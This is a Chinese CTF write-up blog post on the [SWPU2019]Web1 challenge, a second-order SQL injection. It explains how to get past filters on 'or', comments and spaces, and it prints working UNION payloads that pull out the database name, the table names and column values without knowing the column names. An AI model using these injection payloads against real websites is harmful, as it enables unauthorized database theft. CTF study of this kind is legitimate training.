[SWPU2019]Web1

[SWPU2019]Web1

这道题是个二次注入,做之前感觉挺难得,做完发现也就那么点东西。

没错,还是参考了王叹之大佬的博客,神!

来发广告

在这里插入图片描述
首先以为是弱口令登录admin,试了一波BP爆破,无果。

然后是SQLmap,无果。

然后······是我瞎了我没看到注册······

注册登录以后是一个打广告的界面:
在这里插入图片描述
好像唯一的入口就是这个申请发布广告,看看咋回事。

发现注入点

在这里插入图片描述
在这里插入图片描述
点击广告详情来到了这个网页:
在这里插入图片描述
?id=38盲猜是注入?猜测这里提取内容的语句是

select * from xxx where name=广告名

那么,好像存在注入点,毕竟我们输入的内容可控。

试试看构造

1' order by 1#

在这里插入图片描述

在这里插入图片描述
一番测试以后,发现过滤了or,#,--+和空格

ByPass

  • 空格被过滤
    空格过滤可以利用/**/代替空格

  • 注释符被过滤
    将后面的单引号闭合即可

  • or被过滤
    这就很难受了,order byinformation_schema都不能用。
    于是查表名使用select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
    跳过爆字段名直接爆值,参考这个

Payload

  • 首先爆数据库,试了一下有22个字段:
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述
在这里插入图片描述
懂了,库名是web1

  • 然后是爆表名:
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

在这里插入图片描述
在这里插入图片描述
懂了,表名是users

  • 无字段名爆值
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述
在这里插入图片描述
学到了学到了,特以此博文纪念~

原文地址:https://www.cnblogs.com/shenjuxian/p/13904142.html